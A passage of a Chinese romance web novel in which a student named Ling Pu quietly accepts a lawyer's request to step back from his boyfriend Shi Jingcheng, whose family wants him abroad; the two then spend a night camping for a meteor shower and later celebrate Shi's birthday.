电话忽然传来一阵脚步声,宿管在向厕所逼近,程益添匆匆道:“先不说了,我一直站你这边,凌蒲。” 最后仓促的宣言让凌蒲很感动,他平躺在床上没有睡意,多玩了两局小游戏。 在检阅未接来电的时候发现多得有点异常。因为他平常在上学,手机常年静音,基本接不到电话,了解他的人也不会打电话。 但自从上回开始,经常多几个奇怪的未接电话。 不知是谁把他的号码卖给骚扰机构了。 凌蒲皱皱眉,正想要熄屏睡觉,忽然电话又打进来,似乎和那几个未接的号码很像。 犹豫一下,想要看看是哪方面的诈骗,他点了接通。 “你好,是凌蒲吗?” 那边的声音礼貌得体,也没有急着推销。 凌蒲同样机智而冷静,并没有回答这个问题,而是直接问:“请问什么事儿?” “我是时璟承这边的代理人,方不方便见一面?” 方才想好的应对话术都失了灵,凌蒲听到这个名字就一片空白,时璟承那边的人怎么会找他。 仿佛苔藓和大石被掀开,里面隐秘的心思和幻想暴露在阳光下。 对方已然继续:“事关时璟承先生的前途,请不要告诉别人。” 三言两语,凌蒲别无选择,听对方通知见面时间。 并没有避开他的上课时间,于是凌蒲在上学前请了一个小时的假。由于凌蒲向来在学校的表现规规矩矩,任展飞没有过多为难,便签字放行。 接下来的经历充满了咖啡味,他们在一个高档的咖啡厅里见面,凌蒲喝了一杯加了奶和糖之后依旧苦得发涩的咖啡。 听这位律师精英摸样的人侃侃而谈。 “由于时璟承父母在国外回不来,委托我对这件事进行代劳。我姓林。”这是对方的开场白。 “你好。”凌蒲安静地坐在对面,搅动着难喝的咖啡。 林精英没有说别的废话,只是很简单地告诉凌蒲,时璟承的人生正站在关键的岔路口,其中一条璀璨得难以想象,和凌蒲想象中读大学找工作的轨迹不会有丝毫重合。 谈话打开了凌蒲的认知,也听到了如果时璟承不顺从的后果。 “知道了。”凌蒲说,“你想让我帮忙劝吗?” “那不用。只是不希望有任何因素成为时璟承犹豫的绊脚石,希望你能尽快处理。” 林姓精英推过来一张卡。 凌蒲看着桌上的卡,感到荒谬,没有想到这种事情竟然会发生在自己身上。明明是该属于霸总白月光的戏份,怎么另一方变成了他。 他没觉得时璟承有为了他坚决留在国内的可能,这位林精英显然也没这么想。可能这些有钱人难以理解,金钱不过是最简便的方式。 让时璟承能够清爽地离开国内,没有任何可疑变数。 凌蒲没有动,依然低头搅拌着咖啡,氤氲的热气都是苦味的,咖啡因仿佛浓得化不开,世界上怎么会有这么难喝的咖啡。 他想到时璟承,想到顾乾,想到那对不负责任的父母,想到时璟承那天晚上的疲倦。 “要去多久,去了会自由吗?”凌蒲问。 对面的这位精英有些许诧异,按照职业素养来说他不能够透露分毫,但看了看这位没什么威胁的高中生,他面不改色地微笑道:“听说时璟承的外公已经卧床很久,状态不佳。” 凌蒲试图理解这句答非所问的话,设想了一下,一个久卧病床的老人应该不会起到太大限制,可能只是要如他的心意。 他和时璟承的关系确实要到结束的时候,本来也只是早晚问题,像一颗滑过的流星,不过经过多么漫长的奔袭,也会有落下的一天。 对面林精英眼神老练,已经知道这件事成了大半,开始收拾桌上的文件夹。 凌蒲把卡推回去:“这个不用。” “收着吧。里面很多钱,不能让你白浪费一场。” 凌蒲并没有因为冒犯而生气,语气平静:“不要。” 他看了一眼被搅和得乱七八糟,有糖有奶混作一堆的咖啡,仰头一饮而尽。然后把书包一甩,两手空空地准备离开。 “给你一个月够吗?”对方的声音在背后响起。 凌蒲的脚步停留一下:“十天吧。” 他走出逼仄幽暗的咖啡馆,望着外面蓝蓝的天,打车去了学校。 英语老师正讲得激情澎湃,时璟承屡屡看向凌蒲,但凌蒲盯着老师,目不转睛。 “这个问题请人来回答一下。”老师扫视一圈,大家纷纷低头,唯有凌蒲依然闪着一双专注地眼睛,直视前方。 于是满意道:“凌蒲来回答吧。” 凌蒲没反应。 “凌蒲?” 直到时璟承戳了凌蒲一下,凌蒲才回神。 站起来,一阵低头翻书。 “题在PPT上,选C。”时璟承在旁边说。 凌蒲看着时璟承,没有作答。英语老师摆摆手,让他坐下。 下课铃一打,时璟承问:“生病了?” 说着伸手朝凌蒲额头上探过来,凌蒲朝后缩了下,躲开。 时璟承一顿。 凌蒲轻描淡写:“没事,就是早上有点事耽误了,就请了一小时假。” 时璟承拧眉。 又不经意道:“下周五空出来了,全天留给你。” “好。”凌蒲点头。 “你” “不好意思,凌蒲你早上没来,交一下作业吧。”有人打断两人的对话。 抬头一看,班长沈庭赫衣冠楚楚,尽职尽责。 第116章 凌蒲慌忙去翻作业,时璟承不咸不淡:“收作业不是课代表的事情,怎么你代劳?” 沈庭赫对他的搭腔挺愉快,但语调温和:“别人无所谓,只是凌蒲的作业,我当然得帮忙收。” “够闲的。” “没有你最近忙。” 凌蒲一本一本地掏出来,没有管旁边的事情,等他一抬头,似乎有种若有若无的硝烟味。 把作业交给沈庭赫,对方提了几句教他学英语的事情,才带笑离开。 凌蒲发了会儿呆,被时璟承把脑袋转回来。 “怎么了?” “凌蒲,你是不是喜新厌旧?” “我怎么喜新厌旧?” “你以前只盯着我发呆。现在腻了。” “?” 凌蒲有些不敢相信这话是时璟承说的,转头,看到时璟承这张无比帅气的脸,每个五官都仿佛女娲精雕细琢,现在拧着眉头,带着符合气质的冷感。 “你可是顾乾的弟弟。”凌蒲强调。 当年顾乾一出道就凭借出色的外貌迷倒一众粉丝,但凡是什么关于外形的榜单,不管评选前多少,总是有其一席之地。 尽管后来展现实力后大家的焦点聚焦于演技,但也并不意味着能抛开长相不谈。实在太夺目,压根抛不开。 凌蒲觉得时璟承比顾乾有过之而无不及,也是为什么仅有几个模糊侧影流传于网络,却能掀起极高讨论度。 “顾乾?你小时候就一直对他犯花痴。”时璟承想起这桩旧账,浮现幼崽版粽粽的花痴小表情,愈发不爽。 “那时候很小。” “上次卡丁车俱乐部,你也没眨过眼。” 时璟承提笔,在手上转了小半圈后笔尖落上纸面,留下冷酷表情。 凌蒲一时语塞,拽拽他袖子:“多看两眼而已,人之常情的。” 时璟承不再理他,低头做题,整理在笔记本上。 凌蒲的目光落在纸页上,以前没有发现时璟承有做笔记的习惯,字迹遒劲漂亮,图和题很整齐。 搭讪:“你不是也在做笔记嘛,还说我做笔记浪费时间。” “你那是本末倒置,酒精灯火焰还用红笔和蓝笔涂颜色,不知道的还以为在学美术。” “那是区分内焰和外焰好吗?”被攻击的凌蒲不悦,“有本事别模仿我。” 他也取出下节课的书本,搁在桌子上做准备。 “今天周末,晚上和不和我回家?”时璟承状似不经意,随口道。 凌蒲还没有消气:“不要。总不回家我爸妈会怀疑。” “你之前想留宿的时候找借口,说你以前经常在程益添那里住。”时璟承揭穿,“喜新厌旧。” “那也不能每天去,比如每周可以去个两三天,毕竟一周足足有七天” 凌蒲忽然顿了一下。 七天竟然只是一周。 而他和时璟承的相处时光只剩下了一周多一点点,一切就将回归正轨,就像小时候参加那个节目,不过是弹错的音符,和需要修正的轨迹。 “好吧。”凌蒲改口。 他说服了钱芷和凌逸飞,放学主动被时璟承诱拐。 在车上,时璟承察觉到凌蒲似乎有些闷闷不乐,脸颊弧度比往常绷得紧一些。 伸手,在他肩膀上碰了一下。 “都放学了,你气什么?”时璟承一手搭在车窗内侧,一手抵着凌蒲,身上蓝白校服一丝不苟,气势却没有被穿着减损分毫,和豪华的车内饰天然相配。 “没有。” “不是不让你看别人。”时璟承平心静气,“你告诉我你不止喜欢我的脸。” 时璟承从三岁开始就希望确立在凌蒲心中的独特地位,而不只是其中之一。现在特殊的关系让他很满意,但并无十足安全感。 “当然不止。”凌蒲心不在焉,“身材也很好。” 时璟承磨了磨牙,再次把凌蒲的脑袋转过来:“还有呢?” 凌蒲的脑袋顶感到巨大压力,嘴硬道:“没了。” “你是喜欢顾乾那张脸还是我这张脸。”时璟承调侃,“你小时候可没盯过我。不会是代餐吧。” “时璟承?!”凌蒲对他的话感到难以置信,没想到时璟承还在心里编排这种替身文学,有些被侮辱的愤怒。 “你到底在说什么,那你对我不也是见色起意!”重新转过身去,说什么也不再回头。 等车到了目的地,被“见色起意”的帅气高中生凌蒲怒气冲冲地下车,比时璟承还娴熟地进了别墅门。 在开门的瞬间,一个矮小的炮弹冲过来,结结实实撞在凌蒲腿上,触感软乎乎。 凌蒲一惊,低下头,看到个圆圆胖胖,毛茸茸的物体,等那物体一仰脸,凌蒲惊道:“是你?” 这正是在猫咖和凌蒲结缘的小猫,凌蒲有空的时候就会去看它,这些日子事多耽搁,但还是有偷偷在猫咖老板娘发的照片里找它,此刻竟然会出现在这。 他立刻抱起来,小猫的胖脑袋被挤得更加圆润,一双圆溜溜的大眼睛盯着凌蒲瞅,久别重逢,凌蒲激动地用脸蹭蹭猫。 “你怎么做到给它赎身的?”凌蒲十分意外,眼里瞬间亮起来,忘却其他恩恩怨怨,“我之前也和老板娘提过,但她说猫都是非卖的。” 而且不确定钱芷是否同意,于是没坚持。 看着同样眼睛圆圆的一人一猫,时璟承一边把书包搁在旁边,一边点评:“你们很像。” “时璟承你真好。” 凌蒲的注意力全被这只猫牵引,捏捏肉乎乎的小腿和温暖的肚子,用逗猫棒玩了数小时。 时璟承坐在沙发上看书,同在客厅的凌蒲就和倍速似地东南西北移动,身后跟着个小东西。 “几点了?”时璟承放下手里的书,问凌蒲。 凌蒲抬头瞥一眼钟,热心道:“七点十二。” 时璟承不悦拧眉:“谢谢。” 隔十分钟问一次,凌蒲始终都欢快地告诉他,最后把猫玩睡着了,才气喘吁吁地朝时璟承身旁一倚,脑门几缕发丝被薄汗粘在额头上,皮肤白里透红,凌乱的外套散了大半。 他把桌上时璟承喝了几口的水一饮而尽,转过脸,脑门贴着时璟承的肩膀。 “过完瘾了?水都凉了。”时璟承声音像水一样冰冰。 “重新接就好了,我帮你再倒一杯。” 凌蒲拿过杯子,吭哧吭哧地跑到厨房,给自己有灌了一杯,然后递给时璟承。 时璟承不接:“给猫喝吧。” 凌蒲这才意识到自己刚才冷落了时璟承,抬起头笑道:“你比猫可爱。” 世界上没有人比凌蒲更会哄时璟承,熟练地说了几句,推着时璟承上楼。 似乎也没干什么事情,时光便飞逝而过。 两人待在一起不管各自在做什么,空气中总流淌着美好。 刚洗完澡的凌蒲正躺在时璟承旁边玩手机,忽然戳戳他:“时璟承,我想看星星。” 时璟承没当回事,把书翻过一页:“你还想干什么。” “你看。”凌蒲举起手机,上面显示今晚在附近的小山上有几率能看到流星雨。这个地方离他俩非常近,几乎近在咫尺。 出处是一张图片,有着迷人的流星,但亮得像是P图。 “刷到的?”时璟承换了个姿势躺,让凌蒲靠在他怀里。 凌蒲的手机向来坦坦荡荡地敞着,闻言便双击了下,展示给时璟承:“别人发我的。” 时璟承一瞥,就看到发消息的人竟然备注是沈庭赫。 “你和他什么时候这么熟?” “不熟啊,从班群里加的,班长嘛,可能是群发。” 时璟承看着凌蒲回了个“谢谢”表情包,显然没get到沈庭赫发这张图的目的。 “你和他是关系不好吗?”凌蒲察觉到。 “一般。他总想抢我东西。”时璟承声音懒散,“别的无所谓。凌蒲不行。” 凌蒲吃惊:“感觉班长不像坏人。” “没说是坏人,你这什么非黑即白理论。花花公子,骗人的花样很多,你可别上当。” “你不也是。” 时璟承翻过身,轻轻捏着凌蒲的下巴:“我哪里花?” 凌蒲被他摸得有点痒,拍开他手:“我真有点想去。要不我和班长去,说不准还有其他同学。” “想都不许想。” “那你带我去。” “不去。” “我和班长去。” …… 十分钟后,穿戴整齐的两人来到楼下。 凌蒲被包裹得严严实实,脑袋上扣着帽子,下半张脸用和他风格不符的浅灰色围巾围着,只露出一双眼睛。背上照旧背了个书包,鼓鼓囊囊。 “你就闲的。”时璟承简单短袄,轻装出行,表情不太爽。 凌蒲不在意地伸出手,拉住时璟承的,对方便不再说什么了。 反着扣紧,两人前往那个小小的山。 其实与其说是山,不如说是个被高度开发的景区,一条能容纳几人的小道挺平坦,走到头就是露营营地。 没走几步,鼓鼓囊囊的书包便不知怎么到了时璟承手里,另一只手牵着凌蒲,朝上慢慢走。 两侧的灯洒下淡淡柔光,一切都很安静。夜空也是黑漆漆,只有一个月亮。 “沈庭赫骗你的吧,哪有流星?” 凌蒲朝时璟承贴近:“会有。” 两人到了露营营地,发现有不少帐篷,或许都是被宣传图片骗过来的人。 时璟承也替凌蒲租了顶帐篷和睡袋,凌蒲坐进去等流星,拍拍旁边,让时璟承也进来。 视野很好,在幽静的小山坡上听不到其他人的声音,只有天地间最淳朴安静的感觉。 望着黑漆漆的夜空,凌蒲叽叽喳喳:“一会儿我要许愿。””许吧。“ 时璟承屈着一条腿,满不在乎地望着黑黑的夜空,身旁是凌蒲安静的呼吸声,还有柔软的,总是擦过他颈侧的发丝,不安分地动着,有种毛绒绒的错觉。 他按住凌蒲脑袋:“别动。” “好吧。”凌蒲静止。 时璟承垂眸,在那个脑袋上摸了两下:“这么听话。” 凌蒲笑笑:“因为你是时璟承嘛。” 这话让时璟承听着受用,他看着前面那棵秃秃的枝干,夜凉如水,忽然说:“凌蒲,你的脾气好像总是很好。如果别人让你做不愿意做的事情,你也会逆来顺受吗?” 凌蒲有些昏昏欲睡,听着时璟承的声音,叽叽喳喳地开解:“什么逆来顺受。我只是在选择更重要的东西。比如我妈让我写作业,我不愿意,她就不高兴,那我觉得她开心比我写作业的不开心要更重要一点。” “还有那个司马迁,你知道吧。《报任安书》课文里不是说了,写完《史记》比他受刑的耻辱和死生更重要,还有你书架上的《窄门》,他俩觉得彼此的前途比当下的爱情更重要,再说《狮子王》,我和你说辛巴” “你写议论文呢?”时璟承打断,捏住凌蒲叭叭的嘴,低头亲了一下。 凌蒲闭了闭眼,短暂安静一瞬,但腾出空来还是补充:“这不是在妥协,只是在选择。” “知道了。你是哲学家。” 安静一会儿,时璟承说。 凌蒲抬头:“我能理解这种权衡利弊的选择。” 他这双眼睛形状漂亮,在夜空里更像一汪反光的深潭,揉碎波光与星空。 望着其中认真的神色,时璟承晃神。 怀疑凌蒲知道了些什么,难道是想告诉他听从父母的安排出国念书并非低头,而是选择了对顾乾的保护? 这个念头只闪过很短的瞬间,他不觉得凌蒲简单的思维能有这么多弯弯绕绕。 “我不选择。我都要。”时璟承望着天,随意地弹开手边干枯的狗尾巴草。 凌蒲愣了愣,像是被震住了,又忍不住开口: “你知道有时候贪心” “闭嘴。” 第117章 凌蒲一直等一直等,天空中还没有任何出现流星的迹象。 期间他想再发消息给班长问问情况,但是被时璟承制止。 “以后不许单独和他讲话。”时璟承霸道。 凌蒲笑了笑:“也没单独讲话,都是在班级里,可多人呢。” “尽量不发消息。” “好吧。” 凌蒲的心情并没有因为等待而改变,他吃掉了书包里的饼干和面包,补充体力,如同出来野餐,感到很高兴,他清清嗓子;“时璟承,你想不想听歌?” “可以。”时璟承等着凌蒲递耳机。 凌蒲并没有,而是小声唱歌给时璟承听。 时璟承和凌蒲的歌单并不重合,不知道这是首什么歌,不过凌蒲声音很好听,清清脆脆又干净澄澈,语调里自带懒洋洋的尾音,融进冬日的风里,让人听得很放松。 不过唱了一小段就忘词,开始耍赖似的哼哼唧唧,最后实在编不下去,两人都笑起来。 凌蒲笑了会儿,侧过脸去看时璟承。他很少看到时璟承笑得露出牙齿,洁白而齐整,向来冷酷的神情比较放松,俊朗的眉目舒展。 “时璟承,你笑起来也好看,是另一种风格。” 凌蒲又盯着他发呆,每次时璟承做不同的表情,都有被帅到。 时璟承敛起笑容:“颜狗。” “你上哪看的这个词,被你说出来好潮啊。”凌蒲又笑,眼睛弯弯。 “” 随着时间一分一秒过去,天空还是没有任何动静。明晃晃的月亮将位置换了又换,不见什么流星,倒是有几颗若有若先的星星,一闪一闪。 凌蒲上眼皮朝下眼皮粘,卸在时璟承肩膀上的力量越来越沉。 冬天的夜风很凉,吹得凌蒲一阵瑟缩,不自觉地朝时璟承怀里钻。 时璟承兜住,拍了拍他:“到睡袋里睡。” “不要。等流星。””明天要感冒。”时璟承碰了下凌蒲露出的鼻梁,冰冰的,“你如果想看星星,下回带你去专门的地方,比如阿塔卡马沙漠或者莫纳克亚山,还有新西兰群岛。” 这样描述的时候,时璟承心里竟然也有些向往。 他一直觉得旅行没有太多意思,坐很长时间的飞机,就为了到一个目的地,看一些东西,不过如果能加上凌蒲,就变得不一样起来。 “感冒就感冒。你照顾我。”凌蒲没有回答后半句,声音被风吹得带点鼻音,听起来像在撒娇。 时璟承把凌蒲揽在怀里,朝上提了提他的帽子,没再多说什么。 忽然觉得这个场景有点傻,在再熟悉不过的公园里莫名其妙地露营,等一场捕风捉影的流星,没人知道到底会不会降临。 但怀里被凌蒲填充得满满当当,时璟承暂时没太多功夫去思考这个问题。 夜风习习,凌蒲摸到时璟承身上有点冰,才改变主意:“算了吧,我们进去睡觉。” “你想向流星许什么愿望,我能实现吗?” 时璟承还真想不出来凌蒲除了食物和那些卡通物品之外还喜欢什么,好像对于每件事都是有了很高兴,没有也可以。 如果是食物或者最新版的什么卡通物品,时璟承或许可以帮他实现。 但凌蒲望着天:“希望时璟承最近开心点。” 他的目光从天落到时璟承的眼睛里。虽然时璟承总是一个表情,但凌蒲能够感觉到他的情感变化,这是小时候就有的技能。 时璟承最近不开心,或许和那次来找他的林姓精英律师有关,或许和那本在桌角出现的托福书籍有关,凌蒲不清楚,也无法分忧,但希望能顺利解决。 时璟承顿了下,移开目光,本能地冷酷道:“不信。” 凌蒲笑笑:“不管你信不信。” 他把时璟承的手塞到自己口袋里:“明明很冷,还要穿这么少装酷。” 凌蒲口袋里暖暖的,温差让方才的寒冷更为明显。 在凌蒲的催促下,两人回到帐篷里,拉上拉链,呼呼的冷风被彻底隔绝,帐篷里安静下来。材质隔风,里面空间很宽敞。 凌蒲打开自己的书包,从里面拿出睡觉穿的衣服:“这么一个小小的山坡,选这么大规格的帐篷,有点浪费。” “可以让你打滚。” “我为什么要打滚?”凌蒲皱眉,脱下外套。 时璟承欲言又止了几次,还是说:“为什么会带睡衣?” 怪不得书包那么鼓鼓囊囊。 “为什么不带?这不是睡衣,睡衣太占空间,这是个可以睡觉穿的棉t恤。”凌蒲把睡袋铺平,“不穿睡的不舒服,毛衣会刺到皮肤。出来玩当然要有万全准备,我还帮你带了。” 凌蒲从书包里掏出一本练习题和时璟承今天看了一半撂在茶几上的书,撇撇嘴:“你最喜欢的练习题和书。” 又取出件衣服:“这是给你带的。” “还有我的份?”时璟承意外,不得不承认今晚真的有点被凌蒲感动到。 但以为是他的t恤,不过把衣服一展开,中间是个大大的杰瑞卡通图案,棕色老鼠露出狡黠的笑容,时璟承皱起眉头。 “这什么。” 他把凌蒲的后脑勺转过来,果然看到对方抑制不住的嘴角。 “情侣双人款打对折嘛。”凌蒲解释,“就像奶茶第二杯半价一样,不买白不买,我喜欢这个汤姆猫,画得特别好,有的衣服上都失真了。” “情侣款?”时璟承拿过凌蒲的衣服看看型号,低头看看手里的。 满意。 两个型号并不一样,凌蒲特地选了他的型号。 “为什么你是猫?” “我喜欢这个汤姆猫。” 帐篷只有一个,里面温度回暖不少,凌蒲又脱掉毛衣。 一件接着一件,丝毫不把时璟承当外人。 “你还真像个粽子,一层一层的。” 凌蒲继续脱,静电让他的头发立起来几根:“冬天嘛,穿多点才不冷。” 最后一件秋衣掀起,里面皮肤白皙挺细腻,既有这个年龄的轻盈单薄,看上去又觉得摸起来会富有肉感。 顶端昏黄的小灯泡衬托下,真像个Q弹软糯的粽子般诱人。 凌蒲不解风情,整理好睡衣,“嗖”地一下套上,大喇喇朝下一拉,就变成了一个穿汤姆猫T恤的凌蒲。 快速钻进温暖睡袋,满足地闭上眼,灯光将他的睫毛投射下阴影,在眼下根根分明。 时璟承弯了下嘴角。 他把外套拉链一拉,果然见凌蒲偷偷把眼睛睁开一条缝,在对上时璟承的目光之后又迅速紧闭双眼,假装睡觉。 “你给我选的老鼠t恤,不看着我穿上?” “这不是老鼠,是杰瑞。”凌蒲倔强。 时璟承也换衣服,凌蒲抬手挡住眼睛,在中间露出一条缝。 他很喜欢时璟承的身材,没有那种很大很硬的肌肉,但是穿上衣服能够看出运动痕迹,轮廓很漂亮。 脱下衣服就更漂亮了,恰到好处的线条随着动作起伏,非常养眼。 等时璟承换好,凌蒲拿下手,装作很正人君子地刚睁开眼睛,他望着时璟承:“为什么不租双人睡袋。” “这里没有卖双人睡袋。只有租的。” “也是,你这种少爷不会租睡袋,只会买新的。”凌蒲翻过身,留下一个后脑勺,“还以为你不想和我睡在一起。” 时璟承在他后脑勺上揉了揉,少爷豪掷千金地叫了个跑腿,去买双人睡袋。 对于跑腿来说是个大单,耗费了约莫四十分钟。拿到新睡袋之后,时璟承铺好,再把凌蒲摇醒,让他重新睡。 凌蒲半睁着朦胧的睡眼,迷迷糊糊地离开原来的睡袋,翻身抱住时璟承。 铺好的睡袋是冰凉的,但刚睡过一觉的凌蒲像个暖和的小火炉,在时璟承怀里拱了拱。和外面的冷空气相比,这是个温暖而安全的空间。 他嘴里嘟囔着还想聊天:“和你说时璟承,我给你买了个特别精妙的生日礼物,想了特别特别久” 声音越来越小,直至消失。 时璟承低头,在凌蒲额头上亲了一下。 “——哇!” 感觉没过几个小时,帐篷外面忽然传来一阵此起彼伏的惊呼声,像是在为什么而惊叹。 声音传进他们不隔音的帐篷,震耳欲聋。 沉浸在美梦中的凌蒲把脑袋钻了几下,埋在时璟承胸前,捂住耳朵。 “你去看看。”凌蒲戳戳时璟承。 “为什么是我。”时璟承的声音听起来倒是挺清醒,带着戏谑的意味,好整以暇。 “诶呀,时璟承——”凌蒲毛茸茸的脑袋蹭来蹭去,黏糊地拖长声音。 于是时璟承披上外套,拉开帐篷,看到不远处拍摄日出的人群。 远处云层里一片霞光,隐约红日在升起。 “日出,看不看?”时璟承回身问。 “真的吗?”凌蒲扭动一下,带着睡袋转身,朝帐篷口挪动,趴着看天:“还真是,好漂亮。” 这里显然并不是日出的最佳观测点,一些高楼遮挡视野,但依然觉得那片淡红鹅黄浅紫令人震撼,于是为了弥补昨晚,凌蒲对着太阳许了那个愿望。 希望时璟承开心一点,不管有没有凌蒲,在前途光明的同时一定要开心。 直到太阳完全跃出,他们收拾离开公园,又一起度过接下来的周末。 内容基本是时璟承在强迫凌蒲学习,写一些永远也写不完的练习题,刷一下永远也翻不到尽头的试卷。 在时璟承的帮助下,凌蒲已然完全补上了前面的内容,成绩也有不小进步,但卡在一个不低的位置上不去,时璟承说他学习没有自主性。 “这样就够了嘛。”那晚吹了冷风的凌蒲说话带了好几天的鼻音,“考得太高要付出常人无法付出的努力,成绩是公平的。” 凌蒲嘟囔:“考得高会上一个更好的大学,会赚更多的钱,变得更优秀。但我觉得也没必要那么优秀,而且有钱就多花点,没钱就少花点,吃饱穿暖就足够了。你像是要把我培养成科学家” “别瞎扯。”时璟承给他改试卷。 “不过时璟承你可不一样,你必须去最好的学校,当个十分优秀的人。”凌蒲宽于律己,严以待人,“你可是要把家族事业发扬光大的,前途无限光明,我只要做个咸鱼。” “每次去蛋糕店的时候我就想当个糕点研发员,他们有那么多材料,品种却好单一。可是这个不需要成绩嘛,为什么要学习得那么努力?” 时璟承给凌蒲的压轴题打了个叉,没什么表情:“为了和我一样优秀。” 凌蒲完全没想到对方会这么说,往常能言善辩的嘴张了张,半天没有说什么。 “时璟承,这不是努力就能达到的吧。就像少爷不能和贫穷人在一起。” “是,你不用努力。”时璟承注意力在题目上,随口道,“不过少爷和名牌大学生私奔会比其他的听起来好听点。” 凌蒲想了想,认同:“还真是。” 强强联手,往往会一起报仇雪恨之类,共登世界之巅,他们联手战胜了该死的顽固势力,让他们追悔莫及,从而彻底获得自由 “我饿了。”凌蒲说。 时璟承无语地瞥他一眼,搁下笔,拿吃的给他投喂。 凌蒲一边在旁边吃,一边听时璟承讲题,忽然动作一停,再偷偷动手掸掉饼干渣。 指腹在纸上隐蔽地挪动,力图不动声色。 “如果你考上了,我和你私奔。”时璟承突然说。 凌蒲嘎巴脆的咀嚼声响了两下,最终停了下来。 他评估对方在认真还是开玩笑,时璟承常常会用很冷的语气开玩笑,只有细微的差别。 看着时璟承英俊的侧脸,全身上下没有一处不透着矜贵,天生适合摇着红酒杯当霸总,冷淡地站在落地窗前看着繁华灯火,形形色色的美人来往不绝。 “你去做你该做的事情。”半晌后,凌蒲笑道,“王子和公主才叫私奔,你这弃明投暗。” * 转眼就来到时璟承生日这天。 凌蒲并没有太多实感,还像往常一样,早起顶着乱乱的头发刷牙洗漱,临出门前犹豫了下,朝抽屉里一摸,抓上个东西放进校服口袋。 时璟承也正在他硕大的桌子上用早餐,顾乾和邵晚熠都在家里。 气氛总体来说有些不自然。 这段日子国外那边没少施压和挑拨离间,顾乾和时璟承都不是喜欢说话的性子,缺乏沟通,恶性循环之下也不太知道彼此心里的想法。 邵晚熠倒是爱说,一个人撑起了所有场面。 “今天别上学了,咱庆祝生日去。”邵晚熠见时璟承穿一身校服,提醒道。 “不去了。”时璟承拒绝。 “这么爱学,颇有你哥当年风采。那放学接你去?” “今天有事。” 邵晚熠接连被拒,有点摸不着头脑,往常时璟承对于他们的安排向来顺从,这是要发起战争。 对于他和顾乾来说,没儿没女没牵挂,就这么一个从小看着长到大的弟弟。 一见时璟承,脑海里就全是他小时候可爱模样,和亲生的没什么差。 虽说看起来没别的家庭那么亲近,但时璟承心里是记挂着他俩的,幼儿园画一家三口就偷偷画的他们,去开家长会才发现。 小学的时候举办美食节,里面有个家长做的牛轧糖惊艳四座,时璟承硬是把咬过一口的那份揣回来,不经意地放桌子上,因为顾乾爱吃,差点被阿姨丢掉的时候才说出来。 差点把顾乾感动得热泪盈眶,这是件很不容易的事情,要知道顾乾向来没表情。 邵晚熠解释道:“时璟承,你桌上那些雅思托福书真不是我俩放的,阿姨拿快递的时候以为是你买的书。” “你还知道雅思托福?”时璟承惯常的嘲讽语气。 “那是。我也考过好吧,当年和你哥分手的那段时间。” 想起来时璟承就觉得这位真是心机深重,当年大学六级没过的人,为了向顾乾证明硬是报了个英语班重新学英语。在节目里他和顾乾用英语交流的时候,邵晚熠能听得懂。 一开始就知道顾乾上节目是为了他,硬生生装得不懂然后重新追。 “这个没事。但今天我有事。”时璟承说。 邵晚熠求助地看着顾乾。 “他有安排,等明天周末吧。”顾乾说。 邵晚熠和顾乾一对视,忽然也福至心灵,放松下来打趣:“噢,是和你那个小对象吧,真是如胶似漆,什么时候带回来让我们看看。” 时璟承吃完之后搁下筷子,背起书包,快到门口的时候补了句:“等有空。” 在车上手机震动了下,看到凌蒲给他发的消息。 【lp:生日快乐/蛋糕/蛋糕】 【时璟承:嗯。】 【lp:你今天要出去庆祝吗,别忘了留点时间给我哦。】 【时璟承:把你忘了】 那边好一阵没有回消息,上方倒是不断跳出“正在输入中”,时璟承勾了勾嘴角,以为对面会发来长篇大论的斥责,但等屏幕亮起来时并没有。 【lp:就五分钟,好不好嘛】 【时璟承:要求这么低?】 对方没有再回,可能是到学校了。 时璟承望着窗外,道路两旁的景物在不断后退,他也离学校越来越近。 等到了后门,先朝里观望下,一眼就看到凌蒲圆润的后脑勺,柔软的头发长得特别好,看得也顺眼。 但目光一转,旁边又有个不速之客黏在凌蒲旁边,还是那个沈庭赫。 之前听成深野提过一嘴他是谁私生子的逸闻,但时璟承并没关注,后来又听说沈庭赫喜欢抢他东西,下到考试排名和竞赛机会,上到绯闻女友。 但凡有点捕风捉影的沈庭赫都会大张旗鼓地追到手,并不算秘密。 之前时璟承觉得无聊,现在不一样,竟然动凌蒲。 偏偏凌蒲在和人交往里没什么心眼,还是个看到帅哥美女就走不动路的花痴,简直就像棵没装围栏的水嫩小白菜。 时璟承走过去,在凌蒲身后咳了一声。 凌蒲吃惊地抬头,看到他更为震惊:“你怎么出现在这?” “怎么?打扰到你们了?” 沈庭赫看到时璟承终于对他的挑衅有了反应,镜片后的目光按捺不住得眯起,他推了推眼镜,温和道:“家里人去法国带回来的饼干和蛋糕,请凌蒲吃。” “吃了吗?”时璟承问凌蒲。 凌蒲被他看得发毛,沈庭赫解围:“小凌没有,说时璟承不让他吃呢。” 说着就点到为止地走了,深藏功与名。 凌蒲放松下来,暗想这沈庭赫还挺够意思。但紧接着,方才被紧张压过的震惊重新回来,他望向一身校服的时璟承:“你没有去开party吗?” “不开。我要上学。” “上到几点?” 时璟承忽然伸手,按了下凌蒲的嘴唇。 这个大胆的动作让凌蒲赶紧四处望了望,本能地后退,睁圆眼睛,压低声音:“你干什么?” 时璟承把手指给凌蒲看,上面赫然有一些饼干碎屑和奶油。 凌蒲露出不好意思的笑容,讨好地按下时璟承的指头,在桌下摩挲两下,擦拭干净。 “我当时正在写作业,抬头就看到有人发点心,吃了才发现是班长。对不起。” 时璟承看着凌蒲正儿八经地解释,感到有点好笑,他回答凌蒲上一个问题:“上到放学,然后接受你的邀请,和你度过。” 凌蒲愣了愣:“一整天都给我啊!” “不是答应你了。” 凌蒲没想到真能这样,着实意外。 时璟承满意地看笑意从那双眼底溢出,但这回没那么纯粹,里面多了点其他情绪,在凌蒲的眼睛里很少看到这些,像是清澈的湖泊上笼了层雾。 今天的凌蒲也很反常,没事就盯着他发呆,几次甚至上课的时候都转过头,让时璟承觉得奇怪。 “怎么了?”他询问。 “没事啊,多看两眼。” “真是无可救药。你可不要大街上看到长得不错的就这样。” “喂,时璟承,你懂不懂什么叫曾经沧海难为水,你已经帅到一定境界了,我以后只能吃细糠了。” “哪有这么说自己的。” “我以前有没有和你说过,我没什么想要的东西,我今天知道为什么了。” “嗯?” “因为以前我想要的都被满足了。就像水和空气一样,觉得本来就该拥有。今天吃不到草莓蛋糕明天还会有桃子蛋糕,玩具让给妹妹,等明天我爸会给我买。所以我觉得什么都有替代品,没有无可取代的。” “思想这么深刻。”时璟承当凌蒲又在每日奇思妙想时间,随口夸道。 “到真的没有空气那天,我才能意识到原来会死。” “说什么呢?”时璟承拧眉,“这时候不迷信了,你也拍下木头。” 